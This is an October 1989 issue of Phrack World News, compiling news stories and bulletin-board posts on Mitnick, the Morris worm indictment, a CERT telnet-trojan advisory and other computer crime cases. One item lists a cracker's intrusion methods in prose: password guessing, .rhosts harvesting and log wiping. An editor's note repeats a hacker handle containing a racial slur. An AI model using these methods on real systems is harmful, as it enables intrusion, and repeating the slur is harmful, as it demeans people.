Allegations July 23, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Karen E. Klein (New York Times) LOS ANGELES -- Shortly after computer hacker Kevin Mitnick was arrested last December (1988), he was characterized as an extreme threat who could wreak electronic chaos if he got near so much as a telephone without supervision. Police and FBI agents started trying to corroborate the flurry of rumors that arose about the malicious actions of the computer whiz from suburban Panorama City, whose case attracted national attention. Three judges denied Mitnick, age 25, bail on the ground that he was a danger to society and ordered him held in a high-security jail cell. But after separating the Mitnick myth from the reality, authorities backed away from many of their original allegations. "A lot of the stories we originally heard just didn't pan out, so we had to give him the benefit of the doubt," said James R. Asperger, the assistant U.S. attorney who handled Mitnick's case. Mitnick, pudgy and nervous, appeared in court last week to apologize for his crimes and to ask for treatment to help break his compulsive "addiction" to computers. U.S. District Judge Mariana R. Pfaelzer sentenced him to serve one year in prison -- including the nearly eight months he already has served -- and then to undergo six months of counseling and treatment similar to that given to alcoholics or drug addicts. "I think he has problems that would benefit greatly from this kind of therapy," Pfaelzer said. "I want him to spend as much time as possible in counseling." The case that began with a bang ended with Asperger pointing out that the one-year prison term is the stiffest sentence ever handed out in a computer fraud case. Mitnick originally was accused of using unauthorized MCI long-distance codes to tap into Leeds University computers in England and of stealing a $4 million computer security system from the Digital Equipment Corporation in Massachusetts. He ultimately agreed to plead guilty to possessing 16 unauthorized MCI long-distance codes and to stealing the computer security program. The other charges were dismissed. Alan Rubin, Mitnick's lawyer, said he felt vindicated by the outcome of the case. Rubin contended from the start that computerphobia and adolescent exaggeration led authorities to mistakenly brand Mitnick a malicious criminal. "Once the snowball starts rolling, you can't stop it," said Rubin, who waged an unsuccessful campaign up to the federal appeals court to get bail for his client. Far from being serious, Rubin said, Mitnick's actions were mostly immature, adolescent pranks. He pointed to evidence that Mitnick was able to electronically cut off telephone service to people he was angry with and once sent an enemy a $30,000 hospital telephone bill. "It was the computer equivalent of sending your friend 14 pizzas," he said. Many of the legends surrounding Mitnick came from the subculture of computer hackers -- and specifically from a man who was once Mitnick's best friend, Leonard Mitchell DiCicco, age 23, of Calabasas, California. DiCicco, who had a falling out with Mitnick over a $100 bet, told computer security specialists at the Digital Equipment Corporation that Mitnick had been trespassing on their system. They in turn contacted the FBI agents, who arrested Mitnick. What DiCicco told investigators may or may not have been entirely truthful, Rubin said. "I have no idea what his motives were," Rubin said. But DiCicco, who alerted authorities to Mitnick's crime, had the tables turned on him after the government refused to grant him absolute immunity for his testimony against Mitnick. When the prosecution said they might charge him with a crime, DiCicco clammed up and refused to cooperate any further. But from his prison cell, Mitnick agreed to cooperate and provided enough incriminating evidence for the government to charge DiCicco. DiCicco is expected to plead guilty to a charge of aiding and abetting the interstate transportation of stolen property -- the computer security program -- on Monday. Asperger said he was not sure whether DiCicco would get a sentence similar to Mitnick's. "Although they were friends and partners in computer hacking, (DiCicco) appeared to play a subordinate role (in the crime)," Asperger said. Other rumors about Mitnick's conduct came from fellow hackers, who may have blown the stories out of proportion. "It's a very strange sub-culture, with a lot of jealousies," Rubin said. "Part of it is bragging about how macho you are and what systems you've broken into. It's very immature in a lot of ways." But prosecutors, citing Mitnick's various scrapes with computer misconduct since he was 13, aren't willing to let him off the hook entirely. "I think there's some substance to these things (the rumors that arose in Mitnick's case), an awful lot of them," said Los Angeles FBI chief Lawrence Lawler, who is a computer buff himself and followed Mitnick's case closely. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - If you are looking for other articles about Kevin David Mitnick aka Condor please refer to; "Pacific Bell Means Business" (10/06/88) PWN XXI. . .Part 1 "Dangerous Hacker Is Captured" (No Date ) PWN XXII . .Part 1 "Ex-Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII . .Part 1 "Dangerous Keyboard Artist" (12/20/88) PWN XXII . .Part 1 "Armed With A Keyboard And Considered Dangerous" (12/28/88) PWN XXIII. .Part 1 "Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII. .Part 1 "Mitnick Plea Bargains" (03/16/89) PWN XXV. . .Part 1 "Mitnick Plea Bargain Rejected As Too Lenient" (04/25/89) PWN XXVII. .Part 1 "Computer Hacker Working On Another Plea Bargain" (05/06/89) PWN XXVII. .Part 1 "Mitnick Update" (05/10/89) PWN XXVII. .Part 1 "Kenneth Siani Speaks Out About Kevin Mitnick" (05/23/89) PWN XXVII. .Part 1 _______________________________________________________________________________ BITNET/CSNET Announce Merger and Formation of CREN August 18, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Washington, DC -- Two of the nation's leading academic and research computer networks announced today that final steps are being taken to merge their organizations. Ira Fuchs, President of BITNET, and Bernard Galler, Chairman of CSNET, jointly reported that the two networks, which together include 600 colleges, universities, government agencies, and private sector research organizations, will unite to form the Corporation for Research and Educational Networking, CREN. Galler, a Professor of Electrical Engineering and Computer Science at the University of Michigan, commented: "The aims of CSNET and BITNET -- to support and promote the use of computer networks on campuses and within research organizations -- have converged over the last several years. We believe that by bringing these two networks into a single organization, we will be able to provide better service to our network users and more effectively participate in the fast-changing national network environment." Fuchs, Vice President for Computing and Information Technology at Princeton University, sees the move as a strengthening factor: "The need for campus networks and the introduction of new technology make it necessary to build a common base of network services using the most progressive technology available. By eliminating overlap between our two organizations, we will become more efficient, and more importantly, we can take a stronger role in the the formation of the national education and research network. We can achieve this goal faster and at lower cost by leveraging the efforts of the two major academic networking organizations." The merger of CSNET and BITNET has been studied for more than a year by a planning group consisting of representatives from both networks. CSNET currently lists 145 institutional and corporate members, and BITNET 480 members. Together, the two networks cover all 50 states and 32 foreign countries, including Japan, Brazil, Mexico, and Argentina. Both maintain gateways to EARN (European Academic Research Network), NetNorth (Canada), and the National Internet. The planning group's recommendations to merge were approved by the BITNET, Inc. Trustees and the Directors of the University Corporation for Atmospheric Research, operators of CSNET for the last five years. An information packet on the merger is being mailed to all members of both networks this week, with a ballot for BITNET members, who must approve the final legal steps under the provisions of BITNET By-Laws. In an advisory vote last winter, BITNET members approved the merger in principle by more than 90% of those voting. A gradual transition period is planned to bring together CSNET and BITNET services. CREN plans to continue use of EDUCOM and Bolt, Beranek and Newman (BBN) to provide technical and general management services to its members. EDUCOM President Kenneth M. King commented, "We are entering a particularly challenging period in the creation of an advanced national network infrastructure for research and education. CREN will play a major role in the future of these computer networks, which are becoming more and more important to the conduct of research and the quality of education. EDUCOM is pleased to have an opportunity to support the services and activities of CREN. " Frank Heart, Senior Vice President, BBN Systems and Technologies Corporation, said, "In keeping with its long involvement in the development of networking technologies, BBN is pleased to play a major supporting role in the evolution of BITNET and CSNET." The proposed CREN Board includes Fuchs and Galler; Douglas Bigelow. . . . . Wesleyan University William Curtis . . . . . University Corporation for Atmospheric Research David Farber . . . . . . University of Pennsylvania Suzanne Johnson. . . . . INTEL Corporation Mark Laubach . . . . . . Hewlett-Packard Corporation Philip Long. . . . . . . Yale University Dennis Ritchie . . . . . AT&T Bell Laboratories Martin Solomon . . . . . University of South Carolina Douglas Van Houweling. . University of Michigan William Yundt. . . . . . Stanford University For more information, contact Corporation for Research and Educational Networking Suite 600 1112 16th Street NW Washington, DC 20036 (202) 872-4215 [Obviously they decided not to call it ONEnet --KL] _______________________________________________________________________________ CERT Internet Security Advisory August 16, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >From Kenneth R. van Wyk Many computers connected to the Internet have recently experienced unauthorized system activity. Investigation shows that the activity has occurred for several months and is spreading. Several UNIX computers have had their "telnet" programs illicitly replaced with versions of "telnet" which log outgoing login sessions (including usernames and passwords to remote systems). It appears that access has been gained to many of the machines which have appeared in some of these session logs. (As a first step, frequent telnet users should change their passwords immediately.) While there is no cause for panic, there are a number of things that system administrators can do to detect whether the security on their machines has been compromised using this approach and to tighten security on their systems where necessary. At a minimum, all UNIX site administrators should do the following: o Test telnet for unauthorized changes by using the UNIX "strings" command to search for path/filenames of possible log files. Affected sites have noticed that their telnet programs were logging information in user accounts under directory names such as "..." and ".mail". In general, we suggest that site administrators be attentive to configuration management issues. These include the following: o Test authenticity of critical programs - Any program with access to the network (e.g., the TCP/IP suite) or with access to usernames and passwords should be periodically tested for unauthorized changes. Such a test can be done by comparing checksums of on-line copies of these programs to checksums of original copies. (Checksums can be calculated with the UNIX "sum" command.) Alternatively, these programs can be periodically reloaded from original tapes. o Privileged programs - Programs that grant privileges to users (e.g., setuid root programs/shells in UNIX) can be exploited to gain unrestricted access to systems. System administrators should watch for such programs being placed in places such as /tmp and /usr/tmp (on UNIX systems). A common malicious practice is to place a setuid shell (sh or csh) in the /tmp directory, thus creating a "back door" whereby any user can gain privileged system access. o Monitor system logs - System access logs should be periodically scanned (e.g., via UNIX "last" command) for suspicious or unlikely system activity. o Terminal servers - Terminal servers with unrestricted network access (that is, terminal servers which allow users to connect to and from any system on the Internet) are frequently used to camouflage network connections, making it difficult to track unauthorized activity. Most popular terminal servers can be configured to restrict network access to and from local hosts. o Passwords - Guest accounts and accounts with trivial passwords (e.g., username=password, password=none) are common targets. System administrators should make sure that all accounts are password protected and encourage users to use acceptable passwords as well as to change their passwords periodically, as a general practice. For more information on passwords, see Federal Information Processing Standard Publication (FIPS PUB) 112, available from the National Technical Information Service, U.S. Department of Commerce, Springfield, VA 22161. o Anonymous file transfer - Unrestricted file transfer access to a system can be exploited to obtain sensitive files such as the UNIX /etc/passwd file. If used, TFTP (Trivial File Transfer Protocol - which requires no username/password authentication) should always be configured to run as a non-privileged user and "chroot" to a file structure where the remote user cannot transfer the system /etc/passwd file. Anonymous FTP, too, should not allow the remote user to access this file, or any other critical system file. Configuring these facilities to "chroot" limits file access to a localized directory structure. o Apply fixes - Many of the old "holes" in UNIX have been closed. Check with your vendor and install all of the latest fixes. If system administrators do discover any unauthorized system activity, they are urged to contact the Computer Emergency Response Team (CERT). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Internet Cracker On The Loose: Who Is He? October 2, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ There is a cracker on the loose in the Internet. This is the information made public so far. Traces of the cracker were found at the Institute for Advanced Studies in Princeton. He also left traces at one of the Super computer centers. Both CERT and the FBI have been called. The technique that is being used is as follows: 1) He has a modified telnet that tries a list passwords on accounts. Username forwards and backwards, username + pw, etc. 2) He seems to have a program call "ret", that is breaking into root. 3) He seems to be getting a list of victim machines via people's .rhosts files. 4) He copies password files to the machines that he is currently working from. 5) He is good about cleaning up after himself. He zeros out log files and other traces of himself. 6) The breakins are occurring between 10 PM Sunday nights and 8 AM Monday mornings. 7) He seems to bring along a text file of security holes to the machines he breaks into. 8) Backtracing the network connections seem to point to the Boston area as a base of operations. The system administrator at IAS found a directory with the name ".. " (dot dot space space). The files mentioned above were found in this directory. _______________________________________________________________________________ Worried Firms Pay Hush Money To "Hackers" June 12, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ By Richard Caseby (London Times) "Are London Firms Offering Amnesty To Hacker Thieves?" Firms in the City of London are buying the silence of hackers who break into their computers and steal millions of pounds. At least six London firms have signed agreements with criminals, offering them amnesty if they return part of the money. The firms fear that if they prosecute they will lose business when customers learn that their computer security is flawed. In several of the case the losses exceeded 1 million pounds, but only a tenth of the total was returned. The Computer Industry Research Unit (CIRU) which uncovered the deals and which is advising the Department of Trade and Industry in data security, believes the practice of offering amnesties is widespread. "Companies who feel vulnerable are running scared by agreeing to these immoral deals. Their selfishness is storing up serious problems for everyone else," said Peter Nancarrow, a senior consultant. Police have warned that deals struck with criminals could possibly lead to an employer being prosecuted for perverting the course of justice. Detective Inspector John Austin, of Scotland Yard's computer fraud squad, said, "Employers could find themselves in very deep water by such strenuous efforts to protect the credibility of their image." Legal experts say the firms are making use of section five of the Criminal Law Act 1967 which allows them to keep silent on crimes and privately agree on compensation. However, an employer becomes a witness to the offense by taking evidence from a criminal when the deal is drawn up. Hackers steal by electronically transferring funds or by programming a computer to round off all transactions by a tiny amount and diverting the money to a separate account. In one case, an assistant programmer at a merchant bank diverted 8 million pounds to a Swiss bank account and then gave back 7 million in return for a non-disclosure agreement protecting him against prosecution. Such thefts have spread alarm throughout London, with consultants offering to penetrate the computer networks of banks and finance houses to pinpoint loopholes before a hacker does. The biggest contracts cost up to 50,000 pounds and can involve a four month investigation in which every weakness is explored. Detectives have found that computer security at many London institutions is riddled with loopholes. A city of London police operation, codenamed Comcheck, revealed wide spread weaknesses. Firms were asked to track the number of unauthorized logons over Easter bank holiday. Some companies unable to tell whether hackers had penetrated their network, while others lacked any security defenses. In addition to theft, companies are vulnerable to blackmail. Hackers can threaten to sabotage computers by inserting "viruses" and "logic bombs" --rogue programs which can paralyze a system. This type of threat has prompted the offer of a new insurance policy underwritten by Lloyd's which specifically covers viruses and other computer catastrophes. ______________________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #10 of 12 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN P h r a c k W o r l d N e w s PWN PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ PWN PWN Issue XXVIII/Part 2 PWN PWN PWN PWN October 7, 1989 PWN PWN PWN PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Grand Jury Indicts Student For Crippling Nationwide Computer Network 7/26/89 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by John Markoff (New York Times) After more than eight months of delay, the Justice Department said Wednesday that a federal grand jury in Syracuse, N.Y., had indicted the 24-year-old Cornell University graduate student who has been blamed for crippling a nationwide computer network with a rogue software program. The student, Robert Tappan Morris, was charged with a single felony count under a 1986 computer crimes law, the Computer Fraud and Abuse Act. Justice Department officials said the indictment was the first under a provision of the law that makes it illegal to gain unauthorized access to federal computers. A spokesman for the Justice Department said Wednesday that the indictment had been delayed simply because of the time taken to develop evidence. But legal experts familiar with the case said the department had been stalled in efforts to prosecute Morris because of an internal debate over whether it might be impossible to prove the charges. Under the 1986 law, prosecutors must show that Morris intended to cripple the computer network. As a result of this concern, the U.S. attorney in Syracuse, Frederick J. Scullin Jr., had considered a plea bargain in which Morris would have pleaded guilty to a misdemeanor charge. This approach was apparently resisted, however, by Scullin's superiors in Washington, who wanted to send a clear signal about the seriousness of computer crime. Three bills now pending before Congress would make it easier than with the 1986 law to prosecute malicious invasion of computer systems. The indictment charges that Morris was the author of a computer program that swept through a national network composed of more than 60,000 computers November 2, 1988 jamming as many as 6,000 machines at universities, research centers and military installations. The software, which computer hackers call a "virus," was supposed to hide silently in the computer network, two of Morris' college friends said, but because of a programming error it multiplied wildly out of control. The friends said Morris' idea had been to simply to prove that he could bypass the security protection of the network. According to Wednesday's indictment, Morris gained unauthorized access to computers at the National Aeronautics and Space Administration's Ames Research Center in Moffett Field, California; the U.S. Air Force Logistics Command at Wright Patterson Air Force Base in Dayton, Ohio; the University of California at Berkeley, and Purdue University. The indictment charges that the program shut down numerous computers and prevented their use. It charges Morris with causing "substantial damage" at many computer centers resulting from the loss of service and the expense incurred diagnosing the program. The felony count carries a maximum penalty of five years in prison and a fine of $250,000, in addition to which the convicted person can be ordered to pay restitution to those affected by his program. Morris' lawyer, Thomas A. Guidoboni, said his client intended to plead not guilty. Morris, who now lives in the Boston area, was scheduled to be arraigned on Wednesday, August 2, before Gustave J. DiBianco, a U.S. magistrate in Syracuse. Morris' father, Robert, the chief scientist for the National Security Agency, said the family planned to stand behind their son. "We're distressed to hear of the indictment," he said. After realizing that his program had run amok, Morris went to his family home in Arnold, Maryland, and later met with Justice Department officials. The 1986 law was the first broad federal attempt to address the problem of computer crime. Morris is charged with gaining unauthorized access to computers, preventing authorized access by others and causing more than $1,000 in damage. The incident raised fundamental questions about the security of the nation's computers and renewed debate over the who should be responsible for protecting the nation's non-military computer systems. Last year Congress settled a debate between the National Security Agency and the National Institute of Standards and Technology by giving authority over non-military systems to the civilian agency. Last week, however, a General Accounting Office report based on an investigation of the incident recommended that the Office of Science and Technology Policy coordinate the establishment of an interagency group to address computer network security. The incident has also bitterly divided computer scientists and computer security experts around the country. Some have said they believe that "an example" should be made of Morris to discourage future tampering with computer networks. Others, however, have argued that Morris performed a valuable service by alerting the nation to the laxity of computer security controls. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Other articles about Robert Tappan Morris, Jr. and the Internet Worm are; "Computer Network Disrupted By 'Virus'" (11/03/88) PWN XXII -Part 2 "Virus Attack" (11/06/88) PWN XXII -Part 2 "The Computer Jam: How It Came About" (11/08/88) PWN XXII -Part 2 "US Is Moving To Restrict {...} Virus" (11/11/88) PWN XXII -Part 2 * "FBI Studies Possible Charges In Virus" (11/12/88) PWN XXII -Part 2 "Big Guns Take Aim At Virus" (11/21/88) PWN XXII -Part 3 "Congressman Plan Hearings On Virus" (11/27/88) PWN XXII -Part 3 "Pentagon Severs Military {...} Virus" (11/30/88) PWN XXII -Part 3 * "Networks Of Computers At Risk From Invaders" (12/03/88) PWN XXII -Part 4 * "Computer Virus Eradication Act of 1988" (12/05/88) PWN XXII -Part 4 * "Breaking Into Computers {...}, Pure and Simple" (12/04/88) PWN XXIV -Part 1 * "Cornell Panel Concludes Morris {...} Virus" (04/06/89) PWN XXVI -Part 1 "Robert T. Morris Suspended From Cornell" (05/25/89) PWN XXVII -Part 2 "Justice Department Wary In Computer Case" (05/28/89) PWN XXVII -Part 2 * - Indicates that the article was not directly related to Robert Morris, but did discuss him as well as the Internet Worm incident. _______________________________________________________________________________ The Free World Incident July 5, 1989 ~~~~~~~~~~~~~~~~~~~~~~~ Special Thanks to Brew Associates of Phortune 500 [Some articles edited for this presentation --KL] Numb: 84 of 98 7/2/89 at 8:56 pm Subj: ... Sect: General Messages From: Major Havoc Here is the story... Evidently, someone got into Chesapeake & Potomac's (C&P) computer systems, and added call forwarding to the telephone line that the Free World is being run on. It was not done through social engineering, because there was not an order pending on my line. Therefore, I had "free" call waiting on my line. What the individual who did this does not realize is that service cannot be changed on my line unless it is typical service, because because my father is a retired VP from C&P. The phone lines at this location are paid for by C&P, so the only way that the service on these lines could have been changed is directly via the C&P computer systems. I had a long talk with C&P security, and they know who the individual was that made the changes in the system. My parents (since I do not even really live here anymore) are supposed to be signing papers that will have this individual prosecuted sometime next week, because he was foolish enough to leave something for them to track down. My guess is that it was someone who was denied access to the system that has some type of grudge to hold or something. I will have the pleasure of seeing this individual serve time, if they are not a minor. C&P Security questioned me in person and asked me if I had any information on different incidents concerning central office burglaries or theft of C&P property. Some of you may be getting a BIG surprise REAL soon. The bottom line is that I am not going to put up with this hassle much longer. The mere fact that I am under possible investigation for something that I am not involved with is really starting to get me upset. I am 20 years old, and I have a nice 32K salary job, and I am not going to tolerate these situations any longer. I have been doing this for so long, that it is about time that I got some kind of recognition, and not more grief from a bunch of worthless Christmas modemers. Shape up or pay the consequences. -Major Havoc - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 86 of 98 7/2/89 at 11:54 pm Subj: Hmm.. Sect: General Messages From: Weatherman I would do the same thing. If some guy thinks he is being really slick and does something like that just to cause trouble, they deserve a rude awakening to real life. Keep us posted on the situation. I can see your point as to your job and age and everything since I am in the same boat. I am not going to sacrifice my future life for any reason. Unfortunately, I don't make 32k yet. \%\%eatherman - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 87 of 98 7/3/89 at 12:07 pm Subj: Umm... Sect: General Messages From: Lost Carrier Major Havoc -- The only part of your message I am concerned about is "I had a long talk with C&P security and a lot of you will be in for a big surpirse," or something to that effect. I hate surprises. Which of us? heh. LC, 2af - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 89 of 98 7/3/89 at 4:03 pm Subj: .... Sect: General Messages From: Raving Lunatic I am shocked. Major Havoc turning people in? About time, I guess it takes income and responsibilities for most geeks to grow up and I am glad Havoc is not going to tolerate it. Would be interesting to at least hear the alias(es) of the people/person that did the forwarding. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 90 of 98 7/3/89 at 5:03 pm Subj: I find this interesting... Sect: General Messages From: The Mechanic I have seen Major Havoc post several messages recently (both here [The Free World bulletin board] and elsewhere) on the topic of telephone security. While it was not explicitly mentioned, it was implied that some activities discussed might not be entirely legal. In fact, there is a logon message encouraging users to post as much as possible, as well as upload and download software, including software that may be copyrighted. Now we see a message from MHavoc that some of us may be looking forward to "BIG Surprises." I do not know about you, but I'm going to think twice before I post *anything* to this system, at least until I am assured that material on this board is not being monitored by C&P personnel. I think that if MHavoc wants this system to go anywhere, he is going to have to *prove* to us that he is not going to be narcing on people as a result of what they post. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 91 of 98 7/3/89 at 5:23 pm Subj: ... Sect: General Messages From: Major Havoc The information was not supplied by myself. It was information that was read to me by C&P security people. I stood there plainly denying that I even knew what a modem was. The bottom line is that you do not have to worry about me. You need to worry about the information that they already have. They merely asked me if I knew anything about it. Of course I did not...seriously, I don't even know. -Major Havoc - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 93 of 98 7/3/89 at 8:29 pm Subj: ... Sect: General Messages From: Juan Valdez I am sure Major Havoc cannot reveal the name of the person who did it, since he is under investigation, it would make matters more difficult to make his name public. I am sure we'd all like to know maybe after everything is all done with. This thing about C&P cracking down scares me. I know that I have not done anything like what you mentioned and I am not connected to anything directly as far as I know. Now you are getting me paranoid. Mike - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 94 of 98 7/3/89 at 9:31 pm Subj: Hmm... Sect: General Messages From: Mr. Mystery When it becomes possible, please post his name, and, more importantly, the date of his court appearance. Might be worth watching. - MR. MYSTERY - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 95 of 98 7/3/89 at 11:10 pm Subj: That Sect: General Messages From: The Killer Is he a local or just an upset user. What sort of stuff was the phone company upset about? Phreakers or people tampering with their equipment? That is pretty messed up. So long as my ass is clean, I really hope you get the idiot. I am curious --Is he a phone company employee? How did he get into the system? [Killer/USAlliance] - FW:301/486-4515 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 96 of 98 7/4/89 at 2:26 am Subj: Things......... Sect: General Messages From: Hellraiser Would I be correct to assume that this board is completely "private." At any rate, I would be interested in knowing who this person causing the disturbance is/was (drop a hint). Numb: 97 of 98 7/4/89 at 6:33 pm Subj: Jesus... Sect: General Messages From: The Disk Jockey Geez... Someone learns a few LMOS commands and they seem obsessed with doing stupid things. I have absolutely no idea why people would act wary towards Havoc, I am sure that I and anyone else who ran a board would, given the chance, burn the person disrupting the system. What the hell did you think? Havoc should just let it slide? I think not. People like that (doers of such cute call forwarding things) should be screwed. They are the people that give you a bad reputation. -The Disk Jockey I hope he gets nailed, I just find it hard to believe that he left any information that could lead back to him, as someone who was at least smart enough to get into an LMOS or equivalent could have at least some common sense, but I suppose his acts dictate otherwise. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Numb: 98 of 98 7/4/89 at 7:21 pm Subj: Well... Sect: General Messages From: Microchip When it was on interchat, it said Major Havoc was fed up and it was going to do this until we all calmed down - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - For those who never found out, the perpetrator of the call forwarding was none other than SuperNigger (who is also responsible for crashing Black Ice). There never was any solid proof that could be used and any comments about him leaving a trail to follow back to him were bluffs. -KL _______________________________________________________________________________ Conman Loses Prison Phone Privileges September 23, 1989 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ About a year ago there was a plot to steal $69 million from the First National Bank of Chicago through a fraudulent wire-transfer scheme masterminded by a man named Armand Moore. Using the telephone and a computer -- the tools of his trade, Mr. Moore planned to transfer money from the accounts of corporate customers at First National to his account in Switzerland. He needed some inside help to bring it off, and he found two young guys in the wire transfer room at the bank who were willing to help. Both of the clerks were fellows in their early twenties, who had worked for the bank a couple years each. Both had come from families living in a ghetto neighborhood on the south side of Chicago; but their families had raised them to be honest. Both had been average high school students; neither had any previous criminal record of any sort; both had been given a break by an employer who treated them fairly and allowed them to rise to positions of trust: handling huge sums of money --about a hundred million dollars a day -- in the wire-transfer unit at the bank. Both showed great promise; then Armand Moore came along. Moore wined and dined these two kids; showed them the best of times and what it was like to have a fancy apartment in a wealthy neighborhood instead of living with your parents in an inner-city ghetto. Its not that they weren't guilty --after all, they did provide the secret passwords and phrases which bank employees say to one another on the telephone, and they did press the buttons which sent $69 million dollars on its way to Europe -- but they would not have done it if Armand Moore had not been there. So instead of a career at the bank, the guys exchanged it for an indictment for bank fraud; loss of their jobs; humiliation for themselves and their families; and the right to say "convicted of bank fraud" on future job applications. Naturally, they are blacklisted in the banking and computer industries for the rest of their lives. One of the guys said Armand had promised to give him money to buy his mother a new coat. The job at First National was bungled as we all know, two young guys had their lives ruined, and the court took all this into consideration when Armand Moore was sentenced to ten years in prison last June. But as Paul Harvey would say, "...then there is the rest of the story...." It seems Armand Moore was no stranger to bank fraud. He had previously pulled a couple of smaller jobs, using a telephone and a computer to net about a million dollars from two banks in the Detroit area. The FBI had not previously connected him with those jobs. He had this money stashed away, waiting for him when he got released from prison, which in this latest scheme, would be a lot sooner than the government expected. Mr. Moore is the sort of fellow who could sell the proverbial ice-box to an Eskimo... or a newspaper subscription to a blind man... he can get anybody to do anything it seems... by flirting with them, showering them with attention, and if necessary, just bribing them. Now two more lives have been ruined by Armand Moore, and his only regret is he got caught. Since his trial in June, Armand Moore has been a guest of the government at the federal penitentiary in downtown Chicago. As a long term resident, he's gotten to know a lot of the folks, including the employees of the prison. In particular, he got to be very good friends with Randy W. Glass, age 28, an employee of the prison in the computer facility there. Glass' duties include entering data into the prison computer about the inmates, their sentences and other data. Oh... is the story becoming clearer now? Glass and his wife live in Harvey, IL, a middle class suburb on the south side of Chicago. It seems like so many other people who meet Armand Moore, Glass enjoyed the company of this older, very sophisticated and friendly chap. After several meetings in the past three months, Glass was finally seduced by Moore's money, like everyone else who meets him. That, plus his pleasant manners, his smooth conversation and his assurance that nothing could go wrong led to Glass finally agreeing to accept a $70,000 bribe in exchange for punching a few buttons on the computer to show Armand Moore's sentence was complete; him and a couple other inmates who were sharing the same room at the prison. Just change a few details, punch a few buttons -- and to be on the safe side, do it from home with your modem and terminal, using the Warden's password which I just happen to have and will give to you in exchange for your cooperation. $70,000 was hard to resist. But Glass was a prudent man, and he asked what guarantee would he have of payment once Armand Moore was released. After all, hadn't he promised those fellows at the bank all sorts of things and then tried to skip town immediately when he thought the transfer had gone through? He would even cheat his fellow crooks, wouldn't he? Moore offered a $20,000 "down payment" to show his intentions. A confederate outside the prison would meet Glass' wife and give her the money. Then the job would be done, and following Moore's untimely release from the joint, the rest would be paid. The deal was made, alleges the government, and Armand Moore used a pay phone at the prison that day to call his stepsister and have her arrange to meet Mrs. Glass. The money would be exchanged; Glass was off two days later and would make the necessary "adjustments" from his home computer; the prison roll would reflect this on the next morning's roster of prisoners with the notation "Time Served/Release Today." They would meet that evening and exchange the rest of the money. All telephones at the prison, including the public pay phones, are subject to monitoring. A sign on each pay phone advises that "your call may be monitored by an employee authorized to do so." The FBI alleges that recordings were made of Moore on the phone telling his stepsister that she should "...work with Randy, a person affiliated with the law..." and that she would meet Mrs. Glass the next day. With a court ordered tap obtained a few minutes later, the FBI heard Stephanie Glass agree to meet Moore's stepsister at 5:45 AM the next morning in a parking lot in Richton Park, IL. At the appointed time the next morning, the two cars met in the parking lot, and the FBI alleges the one woman handed the other a package containing $20,000 in cash. The FBI videotaped the meeting and waited until Mrs. Glass had driven away. They followed her home, and arrested her at that time. Randy Glass was arrested at the prison when he arrived for work about an hour later. Armand Moore was arrested in his cell at the prison once Glass had been taken into custody. To do it the other way around might have caused Glass to get tipped off and run away. On Thursday, September 21, 1989 Mr. & Mrs. Glass and Armand Moore appeared before United States Magistrate Joan Lefkow for arraignment and finding of probable cause. Finding probable cause, she ordered all three held without bail at the prison until their trial. Randy Glass is now, so to speak, on the wrong side of the bars at the place where he used to work. He was suspended without pay at the time of his arrest. At the hearing, Magistrate Lefkow directed some particularly acid comments to Mr. Moore, noting that he was forbidden to ever use the telephone again for any reason for the duration of his confinement, and was forbidden to ever be in the vicinity of the computer room for any reason, also for the duration. She noted, "...it seems to me you continue to seek the conspiracy's objectives by using the telephone, and convincing others to manipulate the computer..." you stand here today and show no remorse whatsoever except that you were caught once again. Your prison record notes that on two occasions, prison staff have observed you using the telephone and "...pressing the touchtone buttons in a peculiar way during the call..." and that you were counseled to stop doing it. I will tell you now sir that you are not to use the telephone for any reason for the remainder of your current sentence. I find probable cause to hold you over for trial on the charge of bribery of a government employee. Stay away from the phones and computers at the prison Mr. Moore!" Like Gabriel Taylor at the First National Bank, neither Randy Glass or his wife had any prior arrest record or conviction. In a foolish moment of greed, spurred on by a friendly fellow who Randy really enjoyed talking to "...because he was so smart and well-educated..." they now get to face prison and the loss of everything in their lives. When all three were leaving the courtroom Thursday, Armand Moore snickered and smiled at the audience. He'll find other suckers soon enough. ______________________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #11 of 12 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN P h r a c k W o r l d N e w s PWN PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ PWN PWN Issue XXVIII/Part 3 PWN PWN PWN PWN October 7, 1989 